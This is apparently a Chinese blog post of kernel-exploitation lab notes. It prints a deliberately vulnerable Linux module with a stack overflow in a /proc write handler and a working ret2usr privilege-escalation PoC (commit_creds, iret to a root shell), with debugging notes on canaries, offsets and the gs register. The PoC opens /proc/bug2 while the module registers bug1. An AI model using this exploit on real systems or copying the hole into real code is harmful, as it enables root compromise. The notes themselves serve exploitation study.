环境

kernel : 4.10.1

漏洞代码

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/cred.h>



ssize_t bug1_write(struct file * file, const char __user * buff, size_t st, loff_t * loft){
  char buf[8];
  memcpy(buf,buff ,st);
  printk("Hello %s\n bug1_write addr :\t %p",buf,bug1_write);
  return st;
}

static struct file_operations myops = {
.write = bug1_write
};

static int null_dereference_init(void)
{
  printk(KERN_ALERT "kernelstack driver init! print addr\n");
  proc_create("bug1", 0666, 0 , &myops);
  return 0;
}

static void null_dereference_exit(void)
{
  printk(KERN_ALERT "kernelstack driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);
MODULE_LICENSE("Dual BSD");

POC:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

struct trap_frame {
  void *eip;
  uint32_t cs;
  uint32_t eflags;
  void *esp;
  uint32_t ss;
}__attribute__((packed));

struct trap_frame tf;

void get_shell(void)
{
  execl("/bin/sh", "sh", NULL);
}

void init_tf_work(void)
{
//内联可以直接使用全局变量
  asm("pushl %cs; popl tf+4;" // set cs
      "pushfl; popl tf+8;" // set eflags
      "pushl %esp; popl tf+12;"
      "pushl %ss; popl tf+16;");
  tf.eip = &get_shell;
  tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1057120;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xc1056f80;

void payload(void)
{
  commit_creds(prepare_kernel_cred(0));
  asm("mov $tf, %esp;"
      "iret;");
}

int main(void)
{
  char buf[24];
  memset(buf, 'A', 24);
  *((void **)(buf+20)) = &payload; // set eip to payload
  init_tf_work();
  int fd = open("/proc/bug2", O_WRONLY);
  // exploit
  write(fd, buf, sizeof(buf));
  return 0;
}

如果poc执行造成Kernel panic,而没有将EIP覆盖为0x42424242,可能是编译Kernel时默认开启了canary,需要关闭canary选项:关闭STACK_POTECTOR、menuconfig 菜单中找STACKPOTECTOR。

  • 现在通过调试来确定偏移地址。来执行shellcode,查看汇编发现写入地址为$ebp-0x10 那么偏移为20.
  • 通过shellcode 了解到如何从内核态返回到用户态。

从内核态返回到用户态出错。

image-20201009113916719

POC 的汇编代码:

image-20201009114007984

问题出现在iret指令:,执行iret之后eip指针指向0xfffffc00 。

image-20201009114118044

修改下POC 解决问题。

  • 研究如何从内核态返回到用户态。

iret指令,还原cs ip https://www.felixcloutier.com/x86/iret:iretd 参考资料。

image-20201028162637024

成功执行到getshell , 之后遇到一个崩溃。

image-20201028162900495

地址如图,使用gs时出错。

image-20201028163339774

发现在内核态和用户态时 gs 寄存器的值不一样。在init_tf_work过程中进行保存,在payload过程中进行还原。

image-20201028165559659

提权成功。

image-20201028165724767
  • 为什么不一样??在restore_all 过程中并没有对gs寄存器进行还原。
  • gs 寄存器的作用

CS,DS,SS,ES,FS,GS 都作为段寄存器。ES,FS,GS为额外数据段。

image-20201028170622308

gs ,fs 使用上的相关资料。

https://unix.stackexchange.com/questions/209968/what-is-the-register-gs-used-for

GS register is used to differentiate between usermode and kernel mode range of address, after adding the relevant logical address component.


pareto

未来什么方向不管,先做自己喜欢做的事情。

0 条评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注